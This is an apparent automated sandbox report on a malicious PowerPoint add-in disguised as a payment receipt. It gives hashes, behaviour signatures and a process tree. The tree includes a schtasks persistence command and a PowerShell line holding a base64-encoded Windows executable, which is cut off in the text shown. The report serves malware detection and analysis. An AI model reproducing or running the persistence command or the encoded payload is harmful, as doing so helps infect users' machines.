677e627bb513c3cffe86522797f6350e98de398681851ebc7a33afc583390448

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
11/07/2024, 00:41

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

COMPROVANTE DE PAGAMENTO.ppam
Size

7KB
MD5

01c730f1624626e5e1494f27ffb17605
SHA1

9028b0f9752bb5be30e24153c0d0e463f358f71c
SHA256

677e627bb513c3cffe86522797f6350e98de398681851ebc7a33afc583390448
SHA512

97a04f4189d0b9c95c4a76beaa46e9a34e031d602349d14dc489d29ce9b18dbdd2a3515a157b0f8daa1b61729335a25c0de24e604ca93a293109fab0573a6627
SSDEEP

96:ZEKr9NP11z54AOBCXrThnmbV2OulCniyORirI364g6qUJdl+b72zuGp8zKNMk/jT:xrXP/z5bXpMUIc33jxJdls2ag8lkbMXE

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE is not expected to spawn this process	2916	1740	wscript.exe	29

Blocklisted process makes network request 6 IoCs

flow	pid	Process
13	2916	wscript.exe
14	2916	wscript.exe
21	2688	WScript.exe
22	2688	WScript.exe
23	1844	WScript.exe
24	1844	WScript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
13	pastebin.com
21	pastebin.com
23	pastebin.com
12	pastebin.com

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2624	powershell.exe
2500	powershell.exe
2272	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 64 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A63-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A6B-F07E-4CA4-AF6F-BEF486AA4E6F}\ = "HiLoLines"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A6F-F07E-4CA4-AF6F-BEF486AA4E6F}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493452-5A91-11CF-8700-00AA0060263B}\ = "ColorFormat"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493457-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149346B-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493489-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934ED-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149347B-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149348B-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493490-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F9-5A91-11CF-8700-00AA0060263B}\ = "TextFrame2"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A69-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493485-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C6-5A91-11CF-8700-00AA0060263B}\ = "Rows"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E8-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149345C-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493465-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149346C-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149346E-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493473-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A61-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D6-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934ED-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A57-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493451-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493456-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493469-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493493-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934CB-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A6B-F07E-4CA4-AF6F-BEF486AA4E6F}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A73-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A74-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149349B-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C8-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C9-5A91-11CF-8700-00AA0060263B}\ = "Cell"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493456-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493486-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493487-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493490-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493493-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D5-5A91-11CF-8700-00AA0060263B}\ = "Comment"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A70-F07E-4CA4-AF6F-BEF486AA4E6F}	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493442-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149349B-5A91-11CF-8700-00AA0060263B}\ = "TextStyleLevel"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149349D-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C9-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F0-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F6-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A78-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934ED-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493487-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C6-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934CE-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D9-5A91-11CF-8700-00AA0060263B}\ = "DiagramNodeChildren"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E1-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149349D-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934CC-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A7C-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149345A-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493491-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D3-5A91-11CF-8700-00AA0060263B}\ = "_PowerRex"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934DB-5A91-11CF-8700-00AA0060263B}\ = "Diagram"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493479-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2708	schtasks.exe
2512	schtasks.exe
2480	schtasks.exe

Script User-Agent 6 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	13	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	14	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	21	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	22	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	23	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	24	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1740	POWERPNT.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2624	powershell.exe
2500	powershell.exe
2272	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2624	powershell.exe
Token: SeDebugPrivilege	2500	powershell.exe
Token: SeDebugPrivilege	2272	powershell.exe

Suspicious use of WriteProcessMemory 44 IoCs

description	pid	Process	procid_target
PID 1740 wrote to memory of 2128	1740	POWERPNT.EXE	30
PID 1740 wrote to memory of 2128	1740	POWERPNT.EXE	30
PID 1740 wrote to memory of 2128	1740	POWERPNT.EXE	30
PID 1740 wrote to memory of 2128	1740	POWERPNT.EXE	30
PID 1740 wrote to memory of 2916	1740	POWERPNT.EXE	32
PID 1740 wrote to memory of 2916	1740	POWERPNT.EXE	32
PID 1740 wrote to memory of 2916	1740	POWERPNT.EXE	32
PID 1740 wrote to memory of 2916	1740	POWERPNT.EXE	32
PID 2916 wrote to memory of 2628	2916	wscript.exe	33
PID 2916 wrote to memory of 2628	2916	wscript.exe	33
PID 2916 wrote to memory of 2628	2916	wscript.exe	33
PID 2916 wrote to memory of 2628	2916	wscript.exe	33
PID 2916 wrote to memory of 2708	2916	wscript.exe	35
PID 2916 wrote to memory of 2708	2916	wscript.exe	35
PID 2916 wrote to memory of 2708	2916	wscript.exe	35
PID 2916 wrote to memory of 2708	2916	wscript.exe	35
PID 2916 wrote to memory of 2624	2916	wscript.exe	37
PID 2916 wrote to memory of 2624	2916	wscript.exe	37
PID 2916 wrote to memory of 2624	2916	wscript.exe	37
PID 2916 wrote to memory of 2624	2916	wscript.exe	37
PID 2064 wrote to memory of 2688	2064	taskeng.exe	41
PID 2064 wrote to memory of 2688	2064	taskeng.exe	41
PID 2064 wrote to memory of 2688	2064	taskeng.exe	41
PID 2688 wrote to memory of 324	2688	WScript.exe	42
PID 2688 wrote to memory of 324	2688	WScript.exe	42
PID 2688 wrote to memory of 324	2688	WScript.exe	42
PID 2688 wrote to memory of 2512	2688	WScript.exe	44
PID 2688 wrote to memory of 2512	2688	WScript.exe	44
PID 2688 wrote to memory of 2512	2688	WScript.exe	44
PID 2688 wrote to memory of 2500	2688	WScript.exe	46
PID 2688 wrote to memory of 2500	2688	WScript.exe	46
PID 2688 wrote to memory of 2500	2688	WScript.exe	46
PID 2064 wrote to memory of 1844	2064	taskeng.exe	48
PID 2064 wrote to memory of 1844	2064	taskeng.exe	48
PID 2064 wrote to memory of 1844	2064	taskeng.exe	48
PID 1844 wrote to memory of 592	1844	WScript.exe	49
PID 1844 wrote to memory of 592	1844	WScript.exe	49
PID 1844 wrote to memory of 592	1844	WScript.exe	49
PID 1844 wrote to memory of 2480	1844	WScript.exe	51
PID 1844 wrote to memory of 2480	1844	WScript.exe	51
PID 1844 wrote to memory of 2480	1844	WScript.exe	51
PID 1844 wrote to memory of 2272	1844	WScript.exe	53
PID 1844 wrote to memory of 2272	1844	WScript.exe	53
PID 1844 wrote to memory of 2272	1844	WScript.exe	53

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\COMPROVANTE DE PAGAMENTO.ppam"
1⤵
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of WriteProcessMemory
PID:1740
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2128
- C:\Windows\SysWOW64\wscript.exe
  wscript C:\Users\Admin\AppData\Roaming/úùÆüÔ.js
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Suspicious use of WriteProcessMemory
  PID:2916
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /delete /tn Chromeupd /f
    3⤵
    PID:2628
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /tn Chromeupd /tr "C:\Users\Admin\AppData\Local\Temp\Chromeglogge.js" /sc minute /mo 1
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2708
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $bFjDJ = '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